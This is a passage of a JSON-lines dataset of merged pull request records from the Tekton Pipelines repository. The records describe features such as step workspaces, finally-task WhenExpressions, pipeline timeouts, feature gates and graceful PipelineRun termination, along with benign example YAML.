"2020-12-04T21:26:28Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 3, "labels": ["kind/feature", "approved", "lgtm", "size/S", "release-note"], "linked_issues": [3592], "merged_at": "2020-12-07T14:00:35Z", "pr_number": 3601, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["GregDritschler", "jerop", "vdemeester"], "title": "Do not allow use of deprecated Conditions with custom tasks"} +{"additions": 1337, "body": "\r\n\r\n# Changes\r\n\r\nTEP: https://github.com/tektoncd/community/blob/master/teps/0029-step-workspaces.md\r\nFixes https://github.com/tektoncd/pipeline/issues/2343\r\n\r\nAccess to Workspaces can now be limited to specific Steps and Sidecars in a Task.\r\nThis allows Task authors to isolate sensitive data to specific images, reducing\r\nexposure of assets like credentials.\r\n\r\nAs a side-effect of this change Workspaces are now mounted to Sidecars by\r\ndefault, just as they are to Steps.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n```release-note\r\n- New alpha feature added: \"Step and Sidecar Workspaces\"\r\n - Requires \"enable-api-fields: alpha\" feature gate.\r\n - Sidecars in a Task now receive Workspaces, just like Steps do.\r\n - Steps and Sidecars can now specify which Workspaces they want access to. This isolates the workspace to only those Steps or Sidecars that need them, allowing Task authors to limit exposure of sensitive data like credentials.\r\n - The default behaviour for workspaces in Steps remains the same - all Steps get access to them.\r\n```", "created_at": "2021-01-20T15:21:47Z", "deletions": 16, "discovered_via": "tep_file_link", "files_changed": 20, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note"], "linked_issues": [], "merged_at": "2021-05-05T20:55:43Z", "pr_number": 3700, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "bobcatfish", "pritidesai", "vdemeester"], "title": "Add Step and Sidecar Workspaces feature"} +{"additions": 782, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nUsers can guard execution of `Tasks` using `WhenExpressions`, but that\r\nis currently not supported in `Finally Tasks`.\r\n\r\nThis change adds support for `WhenExpressions` in `Finally Tasks` not\r\nonly to provide efficient guarded execution but also to improve the\r\nreusability of `Tasks` in `Finally`. The proposal is described further in\r\nthe [WhenExpressions in Finally Tasks TEP](https://github.com/tektoncd/community/blob/master/teps/0045-whenexpressions-in-finally-tasks.md).\r\n\r\nGiven we've recently added support for `Results` and `Status` in\r\n`Finally Tasks`, this is an opportune time to enable `WhenExpressions`\r\nin `Finally Tasks`.\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n\r\n\r\n```release-note\r\nWhenExpressions are supported in Finally Tasks not only to provide efficient guarded execution but also to improve the\r\nreusability of `Tasks` in `Finally`\r\n```", "created_at": "2021-02-01T13:34:31Z", "deletions": 56, "discovered_via": "tep_file_link", "files_changed": 12, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note"], "linked_issues": [], "merged_at": "2021-02-04T18:30:44Z", "pr_number": 3738, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["bobcatfish", "chmouel", "jerop", "pritidesai", "t-persson"], "title": "WhenExpressions in Finally Tasks"} +{"additions": 225, "body": "\r\n\r\n# Changes\r\n\r\n`context.pipelineTask.retries` exposes the total retries of a pipelineTask.\r\n\r\n`context.task.retry-count` exposes the current number of retry. The reason why the\r\nvariable isn't named `context.pipelineTask.retry-count` is that every task has a retry\r\ncount, only pipelineTask has retries.\r\n\r\nRename function `ApplyPipelineTaskContext` to `ApplyPipelineTaskStateContext` in\r\n\"pipelinerun/apply.go\" to distinguish from `ApplyPipelineTaskContexts`.\r\n\r\nrelated issue: https://github.com/tektoncd/pipeline/issues/2725\r\nTEP: https://github.com/tektoncd/community/blob/main/teps/0039-add-variable-retries-and-retrycount.md\r\n\r\n/kind feature\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdd variables context.pipelineTask.retries and context.task.retry-count\r\n```\r\n\r\n\r\n", "created_at": "2021-02-18T17:27:19Z", "deletions": 8, "discovered_via": "tep_file_link", "files_changed": 12, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2021-06-04T21:16:56Z", "pr_number": 3770, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["bobcatfish", "pritidesai", "yaoxiaoqi"], "title": "Add variables context.pipelineTask.retries and context.task.retry-count"} +{"additions": 218, "body": "\r\n\r\n# Changes\r\n\r\nImplementing [TEP-0049](https://github.com/tektoncd/community/blob/main/teps/0049-aggregate-status-of-dag-tasks.md), it is now possible to access an aggregate execution status of all the tasks using `$(tasks.status)`. This context variable is only available in a finally task.\r\n\r\n/kind feature\r\n\r\nPartially Closes #1020\r\nCloses #3806 \r\nImplements [TEP #0049](https://github.com/tektoncd/community/blob/main/teps/0049-aggregate-status-of-dag-tasks.md)\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n\r\n\r\n```release-note\r\nIntroducing a variable $(tasks.status) to access aggregate execution status of tasks in finally.\r\n```\r\n", "created_at": "2021-03-09T06:32:54Z", "deletions": 15, "discovered_via": "tep_file_link", "files_changed": 11, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [1020, 3806], "merged_at": "2021-05-06T12:39:43Z", "pr_number": 3817, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "jerop", "pritidesai", "souleb"], "title": "an aggregate status of tasks in finally"} +{"additions": 957, "body": "This PR is an implementation of TEP [`#326`](https://github.com/tektoncd/community/pull/326).\r\n\r\nFixes issue [`#2989`](https://github.com/tektoncd/pipeline/issues/2989). \r\n\r\n\r\n\r\n# Changes\r\n\r\nTimeouts is a dict of timeout fields:\r\n```yaml\r\ntimeouts:\r\n pipeline: \"0h0m60s\"\r\n tasks: \"0h0m30s\"\r\n finally: \"0h0m20s\"\r\n```\r\n\r\nAll three subfields are optional\r\n\r\nValidates timeouts if:\r\n\t- timeouts.pipeline >= timeouts.tasks + timeouts.finally\r\n\t- all fields much be strictly positive\r\n\r\n\r\nIt is still possible to use `timeout`, but it is invalid to have both `timeout` and `timeouts`. The `timeout` behavior is unchanged.\r\n\r\n\u26a0\ufe0f tkn does not process this new field\r\n\r\nHave been tested with:\r\n\r\n```yaml\r\napiVersion: tekton.dev/v1beta1\r\nkind: PipelineRun\r\nmetadata:\r\n name: hello-world-pipeline-run-with-timeout\r\nspec:\r\n timeout: \"0h0m60s\"\r\n pipelineSpec:\r\n tasks:\r\n - name: dagtask\r\n timeout: \"0h0m30s\"\r\n taskSpec:\r\n steps:\r\n - name: hello\r\n image: ubuntu\r\n script: |\r\n echo \"Hello World!\"\r\n sleep 10\r\n finally:\r\n - name: finallytask\r\n params:\r\n - name: echoStatus\r\n value: \"$(tasks.dagtask.status)\"\r\n taskSpec:\r\n params:\r\n - name: echoStatus\r\n steps: \r\n - name: verify-status\r\n image: ubuntu\r\n script: |\r\n if [ $(params.echoStatus) == \"Succeeded\" ]\r\n then\r\n echo \" Hello World echoed successfully\"\r\n fi\r\n\r\n---\r\napiVersion: tekton.dev/v1beta1\r\nkind: PipelineRun\r\nmetadata:\r\n name: hello-world-pipeline-run-with-taskstimeout\r\nspec:\r\n timeouts: \r\n tasks: \"0h0m30s\"\r\n pipelineSpec:\r\n tasks:\r\n - name: dagtask\r\n taskSpec:\r\n steps:\r\n - name: hello\r\n image: ubuntu\r\n script: |\r\n echo \"Hello World!\"\r\n sleep 30\r\n finally:\r\n - name: finallytask\r\n params:\r\n - name: echoStatus\r\n value: \"$(tasks.dagtask.status)\"\r\n taskSpec:\r\n params:\r\n - name: echoStatus\r\n steps:\r\n - name: verify-status\r\n image: ubuntu\r\n script: |\r\n if [ $(params.echoStatus) == \"Succeeded\" ]\r\n then\r\n echo \" Hello World echoed successfully\"\r\n fi\r\n\r\n\r\n---\r\napiVersion: tekton.dev/v1beta1\r\nkind: PipelineRun\r\nmetadata:\r\n name: hello-world-pipeline-run-with-timeout-and-taskstimeout\r\nspec:\r\n timeouts: \r\n pipeline: \"0h0m40s\"\r\n tasks: \"0h0m30s\"\r\n pipelineSpec:\r\n tasks:\r\n - name: dagtask\r\n taskSpec:\r\n steps:\r\n - name: hello\r\n image: ubuntu\r\n script: |\r\n echo \"Hello World!\"\r\n sleep 30\r\n finally:\r\n - name: finallytask\r\n params:\r\n - name: echoStatus\r\n value: \"$(tasks.dagtask.status)\"\r\n taskSpec:\r\n params:\r\n - name: echoStatus\r\n steps:\r\n - name: verify-status\r\n image: ubuntu\r\n script: |\r\n if [ $(params.echoStatus) == \"Succeeded\" ]\r\n then\r\n echo \" Hello World echoed successfully\"\r\n fi\r\n\r\n---\r\napiVersion: tekton.dev/v1beta1\r\nkind: PipelineRun\r\nmetadata:\r\n name: pipeline-run-with-timeout-and-taskstimeout-finally-timeout\r\nspec:\r\n timeouts: \r\n pipeline: \"0h0m60s\"\r\n tasks: \"0h0m30s\"\r\n finally: \"0h0m4s\"\r\n pipelineSpec:\r\n tasks:\r\n - name: dagtask\r\n taskSpec:\r\n steps:\r\n - name: hello\r\n image: ubuntu\r\n script: |\r\n echo \"Hello World!\"\r\n sleep 30\r\n finally:\r\n - name: finallytask\r\n params:\r\n - name: echoStatus\r\n value: \"$(tasks.dagtask.status)\"\r\n taskSpec:\r\n params:\r\n - name: echoStatus\r\n steps:\r\n - name: verify-status\r\n image: ubuntu\r\n script: |\r\n if [ $(params.echoStatus) == \"Succeeded\" ]\r\n then\r\n echo \" Hello World echoed successfully\"\r\n fi\r\n\r\n\r\n---\r\napiVersion: tekton.dev/v1beta1\r\nkind: PipelineRun\r\nmetadata:\r\n name: hello-world-pipeline-run-with-timeout-and-finallytimeout\r\nspec:\r\n timeouts: \r\n pipeline: \"0h0m40s\"\r\n finally: \"0h0m30s\"\r\n pipelineSpec:\r\n tasks:\r\n - name: dagtask\r\n taskSpec:\r\n steps:\r\n - name: hello\r\n image: ubuntu\r\n script: |\r\n echo \"Hello World!\"\r\n sleep 30\r\n finally:\r\n - name: finallytask\r\n params:\r\n - name: echoStatus\r\n value: \"$(tasks.dagtask.status)\"\r\n taskSpec:\r\n params:\r\n - name: echoStatus\r\n steps:\r\n - name: verify-status\r\n image: ubuntu\r\n script: |\r\n if [ $(params.echoStatus) == \"Succeeded\" ]\r\n then\r\n echo \" Hello World echoed successfully\"\r\n fi\r\n\r\n```\r\n\r\n/kind feature\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [ ] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/pipeline/blob/master/CONTRIBUTING.md) for more details._\r\n\r\nDouble check this list of stuff that's easy to miss:\r\n\r\n- If you are adding [a new binary/image to the `cmd` dir](../cmd), please update\r\n [the release Task](../tekton/publish.yaml) to build and release this image.\r\n\r\n## Reviewer Notes\r\n\r\nIf [API changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md) are included, [additive changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#additive-changes) must be approved by at least two [OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS) and [backwards incompatible changes](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-incompatible-changes) must be approved by [more than 50% of the OWNERS](https://github.com/tektoncd/pipeline/blob/master/OWNERS), and they must first be added [in a backwards compatible way](https://github.com/tektoncd/pipeline/blob/master/api_compatibility_policy.md#backwards-compatible-changes-first).\r\n\r\n# Release Notes\r\n- API changes\r\n - Added field Timeouts to PipelineRun spec. It is a dict with the following sub-fields\r\n - pipeline, to control the pipeline failure timeout\r\n - tasks, to control the pipeline tasks failure timeout\r\n - finally, , to control the pipeline finally tasks failure timeout\r\n- Changes in behavior\r\n - When supplied, a timeouts field combination permits deciding which part of the pipeline runtime is allocated to tasks and finally tasks.\r\n\r\n\r\n", "created_at": "2021-03-18T17:06:26Z", "deletions": 34, "discovered_via": "tep_file_link", "files_changed": 16, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2021-06-07T16:37:56Z", "pr_number": 3843, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["pritidesai", "souleb", "vdemeester"], "title": "Add a Timeouts optional field to pipelinerun"} +{"additions": 454, "body": "\r\n\r\n# Changes\r\n\r\nImplements TEP-0033:\r\nhttps://github.com/tektoncd/community/blob/main/teps/0033-tekton-feature-gates.md\r\n\r\nThis commit introduces a new feature flag, \"enable-api-fields\", that\r\ncan be set to \"alpha\" or \"stable\". The default is \"stable\".\r\n\r\nThis commit provides:\r\n\r\n- dev documentation describing how to check the feature gate and use the provided tools during testing\r\n- a helper for performing feature gate validation in our validating webhook\r\n- a test helper, `requireGate` that allows an integration test to be easily skipped if \"enable-api-fields\" is not \"alpha\".\r\n- a way to run YAML examples specific to each feature-gate:\r\n\r\nNew examples can be added under a directory called \"alpha\". When\r\nthe \"enable-api-fields\" flag is set to \"alpha\" the test runner will\r\n_only_ run those tests in \"alpha\" directories. Similarly if the flag is\r\n\"stable\" then the examples under \"alpha\" will be prevented from running.\r\nSee the Step and Sidecar Workspaces branch for examples that use this\r\nnew mechanism:\r\n\r\n- https://github.com/sbwsg/pipeline/commit/ba4ca8d18e5a0c6a3ffc3e71424b95385314a5cf#diff-b33f1e031894c58e1c3f02fd3291bc14bdae76333d9c19a3b672b88736821a6b\r\n- https://github.com/sbwsg/pipeline/commit/ba4ca8d18e5a0c6a3ffc3e71424b95385314a5cf#diff-71bc2dcaacd303b560c738c3f1fb2e4eb35ebe628e8cf53038f7b85c63ccfb5d\r\n- https://github.com/sbwsg/pipeline/commit/ba4ca8d18e5a0c6a3ffc3e71424b95385314a5cf#diff-568a92e9e9f73030ce0dfbb15adf76f4e65e7e28aef0474421ba5b415911f9c7\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nA new feature-flag, \"enable-api-fields\" has been added. Valid values are \"alpha\" and \"stable\". It defaults to \"stable\".\r\n\r\nSetting the \"enable-api-fields\" flag tells Tekton what level of API stability you require in the cluster. As new features are added to Pipelines we'll first place those features under the \"alpha\" flag. When the feature is ready we'll promote it to \"stable\". This process is described in TEP-0033[1].\r\n\r\nOpting in to \"alpha\" gives you early exposure to exciting new features as they're added to Pipelines but those features are still undergoing development and could be subject to backwards-incompatible changes.\r\n\r\n[1] https://github.com/tektoncd/community/blob/main/teps/0033-tekton-feature-gates.md\r\n```", "created_at": "2021-04-14T16:26:21Z", "deletions": 37, "discovered_via": "tep_file_link", "files_changed": 15, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2021-04-28T16:02:42Z", "pr_number": 3881, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli", "pritidesai", "souleb", "vdemeester", "waveywaves"], "title": "Implement TEP-0033: Add enable-api-fields feature-flag"} +{"additions": 795, "body": "\r\n\r\n# Changes\r\n\r\n## TEP-0061, Allow custom task to be embedded\r\n \r\n \r\n 1. API changes, This PR adds new APIs i.e. adds a field `Spec *EmbeddedRunSpec` to `RunSpec`\r\n 2. An embedded task will accept new field `Spec` with type `runtime.RawExtension` in addition to `ApiVersion` and `Kind` fields of type string (as part of `runtime.TypeMeta`) :\r\n 3. Validation changes, in addition to adding support for Run.RunSpec.Spec the validations will be changed to support \"One of `Run.RunSpec.Spec` or `Run.RunSpec.Ref`\" only and not both as part of a single API request to kubernetes.\r\n 4. Unit tests + e2e test to cover the newly added fields and above mentioned validations.\r\n 5. Documentation changes associated with TEP-0061.\r\nReferences: \r\n1. https://github.com/tektoncd/community/pull/415\r\n2. https://github.com/tektoncd/pipeline/issues/3682\r\n3. https://github.com/tektoncd/community/blob/main/teps/0061-allow-custom-task-to-be-embedded-in-pipeline.md\r\n\r\n\r\n@Tomcli\r\n@pritidesai \r\n@afrittoli \r\n@animeshsingh \r\n\r\n/cc @sbwsg @imjasonh\r\n\r\n/kind feature\r\n\r\nCloses #3682 \r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n```release-note\r\n\r\n# It is now possible to embed the spec of a custom task in a Run resource, whether stand-alone or embedded in a Pipeline.\r\n\r\ne.g.\r\n\r\n apiVersion: tekton.dev/v1alpha1\r\n kind: Run\r\n metadata:\r\n name: simpletasklooprun\r\n spec:\r\n params:\r\n - name: word\r\n value:\r\n - jump\r\n - land\r\n - name: suffix\r\n value: ing\r\n spec:\r\n apiVersion: custom.tekton.dev/v1alpha1\r\n kind: TaskLoop\r\n spec:\r\n # This is a new field, which comprises of custom-task spec.\r\n taskRef:\r\n name: simpletask\r\n iterateParam: word\r\n timeout: 60s\r\n retries: 2\r\n\r\n\r\n1. API changes, This PR adds new APIs i.e. adds a field `Spec *EmbeddedRunSpec` to `RunSpec`\r\n2. An embedded task will accepts new field `Spec` with type `runtime.RawExtension` in addition to\r\n `ApiVersion` and `Kind` fields of type string (as part of `runtime.TypeMeta`) \r\n3. Validation changes, in addition to adding support for `Run.RunSpec.Spec` the validations will be changed\r\n to support \"One of `Run.RunSpec.Spec` or `Run.RunSpec.Ref` \" only and not both as part of a single\r\n API request to kubernetes.\r\n\r\naction required: Developers of custom controllers (existing and new), who would like to support\r\n embedded spec for their custom task, need to implement the logic required to extract, validate\r\n and use the custom task spec from the new RunSpec.Spec field. Please review the documentation\r\n on upgrading, for more details and some examples.\r\n\r\n```", "created_at": "2021-04-28T12:47:31Z", "deletions": 99, "discovered_via": "tep_file_link", "files_changed": 20, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "ok-to-test", "release-note-action-required"], "linked_issues": [3682], "merged_at": "2021-05-25T19:12:52Z", "pr_number": 3901, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["ScrapCodes", "afrittoli", "pritidesai"], "title": "TEP-0061, Allow custom task to be embedded."} +{"additions": 17, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nThis commit prevents controller and webhook pods from being\r\nscheduled on Windows nodes. Without these affinity rules, the\r\ncontroller or webhook will fail to deploy to a cluster if they\r\nare scheduled on a Windows node by Kubernetes.\r\n\r\nThere is no need for these two components to run on Windows nodes\r\nfor Tekton to support mixed Linux + Windows clusters.\r\n\r\nRelated:\r\nIssue - https://github.com/tektoncd/pipeline/issues/1826\r\nTEP - https://github.com/tektoncd/community/pull/383\r\n\r\n/kind misc\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nController and Webhook pods will no longer be scheduled on Windows nodes if any exist in a Kubernetes cluster.\r\n```\r\n\r\n\r\n", "created_at": "2021-04-30T03:32:25Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["approved", "lgtm", "size/S", "ok-to-test", "release-note", "kind/misc"], "linked_issues": [], "merged_at": "2021-05-03T10:51:42Z", "pr_number": 3909, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["vdemeester"], "title": "Add a nodeAffinity rule to the controller and webhook deployments"} +{"additions": 1583, "body": "The implementation of TEP-0058: Graceful Pipeline Run Termination.\r\n\r\nThe new `spec.Status` values:\r\n\r\n- `StoppedRunFinally` - To \"stop\" (i.e. let the tasks complete, then execute finally tasks) a Pipeline\r\n- `CancelledRunFinally` - To \"cancel\" (i.e. interrupt any executing non finally tasks, then execute finally tasks)\r\n- `Cancelled` - Same as today's `PipelineRunCancelled` - i.e. interrupt any executing tasks without running finally tasks\r\n\r\n`PipelineRunCancelled` is deprecated (replaced by `Cancelled`)\r\n\r\n\r\n\r\n# Changes\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [X] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [X] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [X] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [X] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [X] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n\r\n```release-note\r\n# The new PipelineRun spec statuses have been added to control the way who a PipelineRun is being canceled or stopped.\r\n\r\n- \"StoppedRunFinally\" - To stop (i.e. let the tasks complete, then execute finally tasks) a PipelineRun\r\n- \"CancelledRunFinally\" - To cancel (i.e. interrupt any executing non finally tasks, then execute finally tasks)\r\n- \"Cancelled\" - replaces today's \"PipelineRunCancelled\" - i.e. interrupt any executing tasks without running finally tasks\r\n\r\nSupport for existing statuses has been left unchanged.\r\n\r\nThe status \"PipelineRunCancelled\" is deprecated and replaced by \"Cancelled\" (it would be removed in v1).\r\n\r\nThe new states are released as alpha API features.\r\n\r\n[1] https://github.com/tektoncd/community/blob/main/teps/0058-graceful-pipeline-run-termination.md\r\n```\r\n", "created_at": "2021-05-05T11:03:11Z", "deletions": 193, "discovered_via": "tep_file_link", "files_changed": 19, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2021-06-11T16:00:58Z", "pr_number": 3915, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli", "pritidesai", "rafalbigaj", "souleb"], "title": "Graceful Pipeline Run Termination"} +{"additions": 16, "body": "Previously we had the check for an empty RunSpec but a RunSpec\r\ncould be missing both Ref and Spec and yet contain some other\r\nfield. This validation check was missing.\r\n\r\n\r\n\r\n# Changes\r\nAdded validation for both Ref and spec missing.\r\nAnd a test to test then newly added validation.\r\n\r\nhttps://github.com/tektoncd/pipeline/pull/3901#issuecomment-848190336\r\n/kind bug\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in or deleted (only if no user facing changes)\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n\r\n\r\n", "created_at": "2021-05-26T11:27:11Z", "deletions": 3, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["kind/bug", "approved", "lgtm", "size/S", "ok-to-test", "release-note-none"], "linked_issues": [], "merged_at": "2021-05-26T16:37:53Z", "pr_number": 3977, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": [], "title": "Validate run for both ref and spec as nil."} +{"additions": 17, "body": "\r\n\r\n# Changes\r\n\r\nA custom task check could be true, even though the Provided Spec is invalid.\r\nAs a result: IsCustomTask returns true and rprt.Run may be nil. Pipelinerun controller crashes with nil dereference errors.\r\n\r\nFixed it by, adding a check for 